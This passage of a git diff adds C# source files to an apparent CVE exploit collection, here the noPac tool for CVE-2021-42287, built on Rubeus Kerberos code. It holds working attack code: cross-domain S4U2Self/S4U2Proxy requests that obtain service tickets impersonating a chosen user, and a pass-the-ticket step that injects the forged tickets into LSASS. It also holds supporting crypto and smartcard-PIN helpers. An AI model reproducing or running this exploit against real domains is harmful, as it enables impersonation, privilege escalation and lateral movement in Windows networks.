({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); + } + else + { + Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); + } + + return null; + } + + private static void CrossDomainS4U(KRB_CRED kirbi, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "", string targetDomainController = "", string targetDomain = "") + { + // extract out the info needed for the TGS-REQ/S4U2Self execution + string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; + string domain = kirbi.enc_part.ticket_info[0].prealm; + Ticket ticket = kirbi.tickets[0]; + byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; + Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; + + // user variables + string user = string.Format("{0}@{1}", userName, domain); + string target = string.Format("{0}@{1}", targetUser, targetDomain); + + // First retrieve our service ticket for the target domains KRBTGT from our DC + Console.WriteLine("[*] Retrieving referral TGT from {0} for foreign domain, {1}, KRBTGT service", domain, targetDomain); + byte[] crossBytes = Ask.TGS(userName, domain, ticket, clientKey, etype, string.Format("krbtgt/{0}", targetDomain), Interop.KERB_ETYPE.subkey_keymaterial, "", false, domainController, true); + KRB_CRED crossTGS = new KRB_CRED(crossBytes); + Interop.KERB_ETYPE crossEtype = (Interop.KERB_ETYPE)crossTGS.enc_part.ticket_info[0].key.keytype; + byte[] crossKey = crossTGS.enc_part.ticket_info[0].key.keyvalue; + + // Next retrieve an S4U2Self referral from the target domains DC + // to be used when we ask for a S4U2Self from our DC + // We need to use our referral TGT for the target domain for this + Console.WriteLine("[*] Retrieving the S4U2Self referral from {0}", targetDomain); + KRB_CRED foreignSelf = CrossDomainS4U2Self(user, target, targetDomainController, crossTGS.tickets[0], crossKey, crossEtype, Interop.KERB_ETYPE.subkey_keymaterial); + crossEtype = (Interop.KERB_ETYPE)foreignSelf.enc_part.ticket_info[0].key.keytype; + crossKey = foreignSelf.enc_part.ticket_info[0].key.keyvalue; + + // Now retrieve the S4U2Self ticket from our DC + // We use the S4U2Self referral to ask for this + Console.WriteLine("[*] Requesting the S4U2Self ticket from {0}", domain); + KRB_CRED localSelf = CrossDomainS4U2Self(user, target, domainController, foreignSelf.tickets[0], crossKey, crossEtype, Interop.KERB_ETYPE.subkey_keymaterial, false); + + if (!String.IsNullOrEmpty(targetSPN)) + { + + // Using our standard TGT and attaching our local S4U2Self + // retrieve an S4U2Proxy from our DC + // This will be needed for the last request + KRB_CRED localS4U2Proxy = CrossDomainS4U2Proxy(user, target, targetSPN, domainController, ticket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, localSelf.tickets[0], false); + crossEtype = (Interop.KERB_ETYPE)crossTGS.enc_part.ticket_info[0].key.keytype; + crossKey = crossTGS.enc_part.ticket_info[0].key.keyvalue; + + // Lastly retrieve the final S4U2Proxy from the foreign domains DC + // This is the service ticket we need to access the target service + KRB_CRED foreignS4U2Proxy = CrossDomainS4U2Proxy(user, target, targetSPN, targetDomainController, crossTGS.tickets[0], crossKey, crossEtype, Interop.KERB_ETYPE.subkey_keymaterial, localS4U2Proxy.tickets[0], true, ptt); + } + } + + // to perform the 2 S4U2Self requests + private static KRB_CRED CrossDomainS4U2Self(string userName, string targetUser, string targetDomainController, Ticket ticket, byte[] clientKey, Interop.KERB_ETYPE etype, Interop.KERB_ETYPE requestEType, bool cross = true, string altService = "", bool self = false, string requestDomain = "", bool ptt = false) + { + // die if can't get IP of DC + string dcIP = Networking.GetDCIP(targetDomainController); + if (String.IsNullOrEmpty(dcIP)) { return null; } + + Console.WriteLine("[*] Requesting the cross realm 'S4U2Self' for {0} from {1}", targetUser, targetDomainController); + byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, targetUser, ticket, clientKey, etype, requestEType, cross, requestDomain); + + Console.WriteLine("[*] Sending cross realm S4U2Self request"); + byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes); + if (response == null) + { + return null; + } + + // decode the supplied bytes to an AsnElt object + // false == ignore trailing garbage + AsnElt responseAsn = AsnElt.Decode(response, false); + + // check the response value + int responseTag = responseAsn.TagValue; + + if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP) + { + Console.WriteLine("[+] cross realm S4U2Self success!"); + + // parse the response to an TGS-REP + TGS_REP rep = new TGS_REP(responseAsn); + // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 + byte[] outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher); + AsnElt ae = AsnElt.Decode(outBytes, false); + EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); + + // now build the final KRB-CRED structure + KRB_CRED cred = new KRB_CRED(); + + // if we want to use this s4u2self ticket for authentication, change the sname + if (!String.IsNullOrEmpty(altService) && self) + { + rep.ticket.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; + rep.ticket.sname.name_string[0] = altService.Split('/')[0]; + rep.ticket.sname.name_string.Add(altService.Split('/')[1]); + } + + // add the ticket + cred.tickets.Add(rep.ticket); + + // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart + + KrbCredInfo info = new KrbCredInfo(); + + // [0] add in the session key + info.key.keytype = encRepPart.key.keytype; + info.key.keyvalue = encRepPart.key.keyvalue; + + // [1] prealm (domain) + info.prealm = encRepPart.realm; + + // [2] pname (user) + info.pname.name_type = rep.cname.name_type; + info.pname.name_string = rep.cname.name_string; + + // [3] flags + info.flags = encRepPart.flags; + + // [4] authtime (not required) + + // [5] starttime + info.starttime = encRepPart.starttime; + + // [6] endtime + info.endtime = encRepPart.endtime; + + // [7] renew-till + info.renew_till = encRepPart.renew_till; + + // [8] srealm + info.srealm = encRepPart.realm; + + // [9] sname + info.sname.name_type = encRepPart.sname.name_type; + info.sname.name_string = encRepPart.sname.name_string; + // if we're rewriting the S4U2Self sname, change it here too + if (!String.IsNullOrEmpty(altService) && self) + { + Console.WriteLine("[*] Substituting alternative service name '{0}'", altService); + info.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; + info.sname.name_string[0] = altService.Split('/')[0]; + info.sname.name_string.Add(altService.Split('/')[1]); + } + + // add the ticket_info into the cred object + cred.enc_part.ticket_info.Add(info); + + byte[] kirbiBytes = cred.Encode().Encode(); + + PrintTicket(kirbiBytes, "base64(ticket.kirbi)"); + + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + + if (ptt) + { + // pass-the-ticket -> import into LSASS + LSA.ImportTicket(kirbiBytes, new LUID()); + } + + return kirbi; + } + else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) + { + // parse the response to an KRB-ERROR + KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); + Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); + } + else + { + Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); + } + return null; + } + + // to perform the 2 S4U2Proxy requests + private static KRB_CRED CrossDomainS4U2Proxy(string userName, string targetUser, string targetSPN, string targetDomainController, Ticket ticket, byte[] clientKey, Interop.KERB_ETYPE etype, Interop.KERB_ETYPE requestEType, Ticket tgs = null, bool cross = true, bool ptt = false) + { + string dcIP = Networking.GetDCIP(targetDomainController); + if (String.IsNullOrEmpty(dcIP)) { return null; } + + string domain = userName.Split('@')[1]; + string targetDomain = targetUser.Split('@')[1]; + + Console.WriteLine("[*] Building S4U2proxy request for service: '{0}' on {1}", targetSPN, targetDomainController); + TGS_REQ s4u2proxyReq = new TGS_REQ(cname: false); + PA_DATA padata = new PA_DATA(domain, userName.Split('@')[0], ticket, clientKey, etype); + s4u2proxyReq.padata.Add(padata); + PA_DATA pac_options = new PA_DATA(false, false, false, true); + s4u2proxyReq.padata.Add(pac_options); + + s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CONSTRAINED_DELEGATION; + s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE; + s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK; + + if (cross) + { + s4u2proxyReq.req_body.realm = targetDomain; + } + else + { + s4u2proxyReq.req_body.realm = domain; + } + + string[] parts = targetSPN.Split('/'); + string serverName = parts[parts.Length - 1]; + + s4u2proxyReq.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; + foreach (string part in parts) + { + s4u2proxyReq.req_body.sname.name_string.Add(part); + } + + // supported encryption types + s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); + s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); + s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); + + // add in the ticket from the S4U2self response + s4u2proxyReq.req_body.additional_tickets.Add(tgs); + + byte[] s4ubytes = s4u2proxyReq.Encode().Encode(); + + Console.WriteLine("[*] Sending S4U2proxy request"); + byte[] response2 = Networking.SendBytes(dcIP, 88, s4ubytes); + if (response2 == null) + { + return null; + } + + // decode the supplied bytes to an AsnElt object + // false == ignore trailing garbage + AsnElt responseAsn = AsnElt.Decode(response2, false); + + // check the response value + int responseTag = responseAsn.TagValue; + + if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP) + { + Console.WriteLine("[+] S4U2proxy success!"); + + // parse the response to an TGS-REP + TGS_REP rep2 = new TGS_REP(responseAsn); + + // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62 + byte[] outBytes2 = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher); + AsnElt ae2 = AsnElt.Decode(outBytes2, false); + EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]); + + // now build the final KRB-CRED structure, no alternate snames + KRB_CRED cred = new KRB_CRED(); + + // add the ticket + cred.tickets.Add(rep2.ticket); + + // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart + + KrbCredInfo info = new KrbCredInfo(); + + // [0] add in the session key + info.key.keytype = encRepPart2.key.keytype; + info.key.keyvalue = encRepPart2.key.keyvalue; + + // [1] prealm (domain) + info.prealm = encRepPart2.realm; + + // [2] pname (user) + info.pname.name_type = rep2.cname.name_type; + info.pname.name_string = rep2.cname.name_string; + + // [3] flags + info.flags = encRepPart2.flags; + + // [4] authtime (not required) + + // [5] starttime + info.starttime = encRepPart2.starttime; + + // [6] endtime + info.endtime = encRepPart2.endtime; + + // [7] renew-till + info.renew_till = encRepPart2.renew_till; + + // [8] srealm + info.srealm = encRepPart2.realm; + + // [9] sname + info.sname.name_type = encRepPart2.sname.name_type; + info.sname.name_string = encRepPart2.sname.name_string; + + // add the ticket_info into the cred object + cred.enc_part.ticket_info.Add(info); + + byte[] kirbiBytes = cred.Encode().Encode(); + + string kirbiString = Convert.ToBase64String(kirbiBytes); + + Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}':\r\n", targetSPN); + + if (false) + { + // display the .kirbi base64, columns of 80 chararacters + foreach (string line in Helpers.Split(kirbiString, 80)) + { + Console.WriteLine(" {0}", line); + } + } + else + { + Console.WriteLine(" {0}", kirbiString); + } + Console.WriteLine(""); + + if (ptt && cross) + { + // pass-the-ticket -> import into LSASS + LSA.ImportTicket(kirbiBytes, new LUID()); + } + + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + + return kirbi; + } + else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) + { + // parse the response to an KRB-ERROR + KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); + Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); + } + else + { + Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); + } + + return null; + } + + // added little function to print tickets because it seemed to make sense at the time :-) + private static void PrintTicket(byte[] kirbiBytes, string message) + { + string kirbiString = Convert.ToBase64String(kirbiBytes); + + Console.WriteLine("[*] {0}:\r\n", message); + + if (false) + { + // display the .kirbi base64, columns of 80 chararacters + foreach (string line in Helpers.Split(kirbiString, 80)) + { + Console.WriteLine(" {0}", line); + } + } + else + { + Console.WriteLine(" {0}", kirbiString); + } + Console.WriteLine(""); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/crypto/SafeNativeMethods.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/crypto/SafeNativeMethods.cs new file mode 100644 index 0000000..d3cb331 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/crypto/SafeNativeMethods.cs @@ -0,0 +1,106 @@ +using System; +using System.ComponentModel; +using System.Runtime.InteropServices; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; +using System.Text; + +internal static class SafeNativeMethods { + + //Based on code from http://www.infinitec.de/post/2010/11/22/Setting-the-PIN-of-a-smartcard-programmatically.aspx + public static void SetPinForPrivateKey(this X509Certificate2 certificate, string pin) { + + if (certificate == null) + throw new ArgumentNullException("certificate"); + + + if (certificate.PrivateKey is RSACryptoServiceProvider rsaCsp) { + + var providerHandle = IntPtr.Zero; + var pinBuffer = Encoding.ASCII.GetBytes(pin); + + // provider handle is implicitly released when the certificate handle is released. + SafeNativeMethods.Execute(() => SafeNativeMethods.CryptAcquireContext(ref providerHandle, + rsaCsp.CspKeyContainerInfo.KeyContainerName, + rsaCsp.CspKeyContainerInfo.ProviderName, + rsaCsp.CspKeyContainerInfo.ProviderType, + SafeNativeMethods.CryptContextFlags.Silent)); + SafeNativeMethods.Execute(() => SafeNativeMethods.CryptSetProvParam(providerHandle, + SafeNativeMethods.CryptParameter.KeyExchangePin, + pinBuffer, 0)); + SafeNativeMethods.Execute(() => SafeNativeMethods.CertSetCertificateContextProperty( + certificate.Handle, + SafeNativeMethods.CertificateProperty.CryptoProviderHandle, + 0, providerHandle)); + } + /* Only available in .NET 4.6+ + else if (certificate.PrivateKey is RSACng rsaCng) { + // Set the PIN, an explicit null terminator is required to this Unicode/UCS-2 string. + + byte[] propertyBytes; + + if (pin[pin.Length - 1] == '\0') { + propertyBytes = Encoding.Unicode.GetBytes(pin); + } else { + propertyBytes = new byte[Encoding.Unicode.GetByteCount(pin) + 2]; + Encoding.Unicode.GetBytes(pin, 0, pin.Length, propertyBytes, 0); + } + + const string NCRYPT_PIN_PROPERTY = "SmartCardPin"; + + CngProperty pinProperty = new CngProperty( + NCRYPT_PIN_PROPERTY, + propertyBytes, + CngPropertyOptions.None); + + rsaCng.Key.SetProperty(pinProperty); + + } + */ + } + + internal enum CryptContextFlags { + None = 0, + Silent = 0x40 + } + + internal enum CertificateProperty { + None = 0, + CryptoProviderHandle = 0x1 + } + + internal enum CryptParameter { + None = 0, + KeyExchangePin = 0x20 + } + + [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern bool CryptAcquireContext( + ref IntPtr hProv, + string containerName, + string providerName, + int providerType, + CryptContextFlags flags + ); + + [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)] + public static extern bool CryptSetProvParam( + IntPtr hProv, + CryptParameter dwParam, + [In] byte[] pbData, + uint dwFlags); + + [DllImport("CRYPT32.DLL", SetLastError = true)] + internal static extern bool CertSetCertificateContextProperty( + IntPtr pCertContext, + CertificateProperty propertyId, + uint dwFlags, + IntPtr pvData + ); + + public static void Execute(Func action) { + if (!action()) { + throw new Win32Exception(Marshal.GetLastWin32Error()); + } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/crypto/dh/DiffieHellmanKey.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/crypto/dh/DiffieHellmanKey.cs new file mode 100644 index 0000000..33164a2 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/crypto/dh/DiffieHellmanKey.cs @@ -0,0 +1,53 @@ +// ----------------------------------------------------------------------- +// Licensed to The .NET Foundation under one or more agreements. +// The .NET Foundation licenses this file to you under the MIT license. +// ----------------------------------------------------------------------- + +using System; +using Asn1; +using Rubeus.Asn1; + +namespace Kerberos.NET.Crypto +{ + public enum AsymmetricKeyType { + Public, + Private + } + + public class DiffieHellmanKey : IExchangeKey + { + public AsymmetricKeyType Type { get; set; } + + public KeyAgreementAlgorithm Algorithm { get; set; } + + public DateTimeOffset? CacheExpiry { get; set; } + + public int KeyLength { get; set; } + + public byte[] Modulus { get; set; } + + public byte[] Generator { get; set; } + + public byte[] Factor { get; set; } + + public byte[] PublicComponent { get; set; } + + public byte[] PrivateComponent { get; set; } + + public byte[] EncodePublicKey() + { + return AsnElt.MakeInteger(this.PublicComponent).Encode(); + } + + public static DiffieHellmanKey ParsePublicKey(byte[] data, int keyLength) + { + AsnElt publicKeyAsn = AsnElt.Decode(data); + + if(publicKeyAsn.TagValue != AsnElt.INTEGER) { + throw new ArgumentException("data doesn't appear to be an ASN.1 encoded INTERGER"); + } + + return new DiffieHellmanKey { PublicComponent = publicKeyAsn.GetOctetString().DepadLeft().PadRight(keyLength) }; + } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/crypto/dh/IExchangeKey.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/crypto/dh/IExchangeKey.cs new file mode 100644 index 0000000..04f3221 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/crypto/dh/IExchangeKey.cs @@ -0,0 +1,26 @@ +// ----------------------------------------------------------------------- +// Licensed to The .NET Foundation under one or more agreements. +// The .NET Foundation licenses this file to you under the MIT license. +// ----------------------------------------------------------------------- + +using System; + +namespace Kerberos.NET.Crypto +{ + public interface IExchangeKey + { + int KeyLength { get; set; } + + DateTimeOffset? CacheExpiry { get; set; } + + byte[] PrivateComponent { get; set; } + + byte[] PublicComponent { get; set; } + + KeyAgreementAlgorithm Algorithm { get; set; } + + AsymmetricKeyType Type { get; set; } + + byte[] EncodePublicKey(); + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/crypto/dh/IKeyAgreement.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/crypto/dh/IKeyAgreement.cs new file mode 100644 index 0000000..5a41e76 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/crypto/dh/IKeyAgreement.cs @@ -0,0 +1,20 @@ +// ----------------------------------------------------------------------- +// Licensed to The .NET Foundation under one or more agreements. +// The .NET Foundation licenses this file to you under the MIT license. +// ----------------------------------------------------------------------- + +using System; + +namespace Kerberos.NET.Crypto +{ + public interface IKeyAgreement : IDisposable + { + IExchangeKey PublicKey { get; } + + IExchangeKey PrivateKey { get; } + + byte[] GenerateAgreement(); + + void ImportPartnerKey(IExchangeKey publicKey); + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/crypto/dh/KeyAgreementAlgorithm.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/crypto/dh/KeyAgreementAlgorithm.cs new file mode 100644 index 0000000..0c817fb --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/crypto/dh/KeyAgreementAlgorithm.cs @@ -0,0 +1,17 @@ +// ----------------------------------------------------------------------- +// Licensed to The .NET Foundation under one or more agreements. +// The .NET Foundation licenses this file to you under the MIT license. +// ----------------------------------------------------------------------- + +namespace Kerberos.NET.Crypto +{ + public enum KeyAgreementAlgorithm + { + None = 0, + DiffieHellmanModp2, + DiffieHellmanModp14, + EllipticCurveDiffieHellmanP256, + EllipticCurveDiffieHellmanP384, + EllipticCurveDiffieHellmanP521, + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/crypto/dh/ManagedDiffieHellman.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/crypto/dh/ManagedDiffieHellman.cs new file mode 100644 index 0000000..289b0ea --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/crypto/dh/ManagedDiffieHellman.cs @@ -0,0 +1,189 @@ + +// ----------------------------------------------------------------------- +// Licensed to The .NET Foundation under one or more agreements. +// The .NET Foundation licenses this file to you under the MIT license. +// ----------------------------------------------------------------------- +// +// CCob (@_EthicalChaos_) - Updated slightly from original Kerberos.NET version to use BigInteger +// from Mono library and not .NET, since System.Numerics is only available +// since .NET 4.0+. Also switched to raw byte arrays for .NET 2.0+ compatibility. +// Mono's internal representation of data is in also in big endian format +// so this class had to be updated to reflect that as .NET's BigInteger is little endian. +// We are not particular bothered about security correctness of using ManagedDiffieHellman +// as long as we can use it to calculate a valid shared secret from the KDC. +// + +using Mono.Math; +using System; +using System.Linq; +using System.Security.Cryptography; + +namespace Kerberos.NET.Crypto { + ////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + // + // DO NOT USE THIS + // + // THIS IS NOT PRODUCTION-WORTHY CODE + // IT IS UNSAFE AND UNTESTED + // + // DO NOT USE THIS + // + ////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + + /// + /// DO NOT USE THIS + /// + /// THIS IS NOT PRODUCTION-WORTHY CODE + /// IT IS UNSAFE AND UNTESTED + /// + /// DO NOT USE THIS + /// + public abstract class ManagedDiffieHellman : IKeyAgreement + { + private readonly int keyLength; + + private readonly BigInteger prime; + private readonly BigInteger generator; + private readonly BigInteger factor; + private readonly BigInteger x; + + private readonly BigInteger y; + + private BigInteger partnerKey; + private bool disposedValue; + + public ManagedDiffieHellman(byte[] prime, byte[] generator, byte[] factor) + { + this.keyLength = prime.Length; + + this.prime = ParseBigInteger(prime); + this.generator = ParseBigInteger(generator); + this.factor = ParseBigInteger(factor); + + this.x = this.GeneratePrime(); + + this.y = this.generator.ModPow(this.x, this.prime); + + this.PublicKey = new DiffieHellmanKey + { + Type = AsymmetricKeyType.Public, + Generator = this.Depad(this.generator.GetBytes()), + Modulus = this.Depad(this.prime.GetBytes()), + PublicComponent = this.Depad(this.y.GetBytes()), + Factor = this.Depad(this.factor.GetBytes()), + KeyLength = prime.Length + }; + + this.PrivateKey = new DiffieHellmanKey + { + Type = AsymmetricKeyType.Private, + Generator = this.Depad(this.generator.GetBytes()), + Modulus = this.Depad(this.prime.GetBytes()), + PublicComponent = this.Depad(this.y.GetBytes()), + Factor = this.Depad(this.factor.GetBytes()), + PrivateComponent = this.Depad(this.x.GetBytes()), + KeyLength = prime.Length + }; + } + + private BigInteger GeneratePrime() + { + // RSA's P and Q parameters are prime, but len(P+Q) = keylength + // so generate an RSA key twice as large as required and just + // use P as the prime. + + // P in RSA is a safer prime than primes used in DH so it's + // good enough here, though it's costlier to generate. + + using (var alg = new RSACryptoServiceProvider(this.keyLength * 2 * 8)) + { + var rsa = alg.ExportParameters(true); + + return ParseBigInteger(rsa.P.Reverse().ToArray()); + } + } + + private static BigInteger ParseBigInteger(byte[] arr) + { + var pv = arr; + + if (pv[0] != 0) + { + var copy = new byte[pv.Length + 1]; + + pv.CopyTo(copy, 1); + + pv = copy; + } + + return new BigInteger(pv); + } + + public IExchangeKey PublicKey { get; } + + public IExchangeKey PrivateKey { get; } + + public byte[] GenerateAgreement() + { + var z = this.partnerKey.ModPow(this.x, this.prime); + + var ag = z.GetBytes().ToArray(); + + var agreement = this.Depad(ag); + + agreement = Pad(agreement, this.keyLength); + + return agreement; + } + + public void ImportPartnerKey(IExchangeKey publicKey) + { + if (publicKey == null) + { + throw new ArgumentNullException(nameof(publicKey)); + } + + this.partnerKey = ParseBigInteger(publicKey.PublicComponent); + } + + private byte[] Depad(byte[] data) + { + int leadingZeros; + + for(leadingZeros = 0; leadingZeros < data.Length; ++leadingZeros) { + if(!(data[leadingZeros] == 0 && data.Length > this.keyLength)) { + break; + } + } + + byte[] result = new byte[data.Length - leadingZeros]; + + Array.Copy(data, leadingZeros, result, 0, result.Length); + + return result; + } + + private static byte[] Pad(byte[] agreement, int keyLength) + { + var copy = new byte[keyLength]; + + agreement.CopyTo(copy, keyLength - agreement.Length); + + return copy; + } + + protected virtual void Dispose(bool disposing) + { + if (!this.disposedValue) + { + this.disposedValue = true; + } + } + + public void Dispose() + { + this.Dispose(disposing: true); + GC.SuppressFinalize(this); + } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/crypto/dh/ManagedDiffieHellmanOakley14.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/crypto/dh/ManagedDiffieHellmanOakley14.cs new file mode 100644 index 0000000..274ce26 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/crypto/dh/ManagedDiffieHellmanOakley14.cs @@ -0,0 +1,15 @@ +// ----------------------------------------------------------------------- +// Licensed to The .NET Foundation under one or more agreements. +// The .NET Foundation licenses this file to you under the MIT license. +// ----------------------------------------------------------------------- + +namespace Kerberos.NET.Crypto +{ + public class ManagedDiffieHellmanOakley14 : ManagedDiffieHellman + { + public ManagedDiffieHellmanOakley14() + : base(Oakley.Group14.Prime, Oakley.Group14.Generator, Oakley.Group14.Factor) + { + } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/crypto/dh/ManagedDiffieHellmanOakley2.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/crypto/dh/ManagedDiffieHellmanOakley2.cs new file mode 100644 index 0000000..a12493f --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/crypto/dh/ManagedDiffieHellmanOakley2.cs @@ -0,0 +1,15 @@ +// ----------------------------------------------------------------------- +// Licensed to The .NET Foundation under one or more agreements. +// The .NET Foundation licenses this file to you under the MIT license. +// ----------------------------------------------------------------------- + +namespace Kerberos.NET.Crypto +{ + public class ManagedDiffieHellmanOakley2 : ManagedDiffieHellman + { + public ManagedDiffieHellmanOakley2() + : base(Oakley.Group2.Prime, Oakley.Group2.Generator, Oakley.Group2.Factor) + { + } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/crypto/dh/Oakley.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/crypto/dh/Oakley.cs new file mode 100644 index 0000000..649a41f --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/crypto/dh/Oakley.cs @@ -0,0 +1,121 @@ +// ----------------------------------------------------------------------- +// Licensed to The .NET Foundation under one or more agreements. +// The .NET Foundation licenses this file to you under the MIT license. +// ----------------------------------------------------------------------- + +using System; + +namespace Kerberos.NET.Crypto +{ + public static class Oakley + { + public static class Group14 + { + /* + * https://tools.ietf.org/html/rfc3526#section-3 + * Id: 14 + * Prime: 2^2048 - 2^1984 - 1 + 2^64 * { [2^1918 pi] + 124476 } + * Generator: 2 + */ + + public static readonly byte[] Prime = new byte[] + { + 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34, + 0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1, 0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74, + 0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22, 0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD, + 0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B, 0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37, + 0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45, 0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6, + 0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B, 0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED, + 0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5, 0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6, + 0x49, 0x28, 0x66, 0x51, 0xEC, 0xE4, 0x5B, 0x3D, 0xC2, 0x00, 0x7C, 0xB8, 0xA1, 0x63, 0xBF, 0x05, + 0x98, 0xDA, 0x48, 0x36, 0x1C, 0x55, 0xD3, 0x9A, 0x69, 0x16, 0x3F, 0xA8, 0xFD, 0x24, 0xCF, 0x5F, + 0x83, 0x65, 0x5D, 0x23, 0xDC, 0xA3, 0xAD, 0x96, 0x1C, 0x62, 0xF3, 0x56, 0x20, 0x85, 0x52, 0xBB, + 0x9E, 0xD5, 0x29, 0x07, 0x70, 0x96, 0x96, 0x6D, 0x67, 0x0C, 0x35, 0x4E, 0x4A, 0xBC, 0x98, 0x04, + 0xF1, 0x74, 0x6C, 0x08, 0xCA, 0x18, 0x21, 0x7C, 0x32, 0x90, 0x5E, 0x46, 0x2E, 0x36, 0xCE, 0x3B, + 0xE3, 0x9E, 0x77, 0x2C, 0x18, 0x0E, 0x86, 0x03, 0x9B, 0x27, 0x83, 0xA2, 0xEC, 0x07, 0xA2, 0x8F, + 0xB5, 0xC5, 0x5D, 0xF0, 0x6F, 0x4C, 0x52, 0xC9, 0xDE, 0x2B, 0xCB, 0xF6, 0x95, 0x58, 0x17, 0x18, + 0x39, 0x95, 0x49, 0x7C, 0xEA, 0x95, 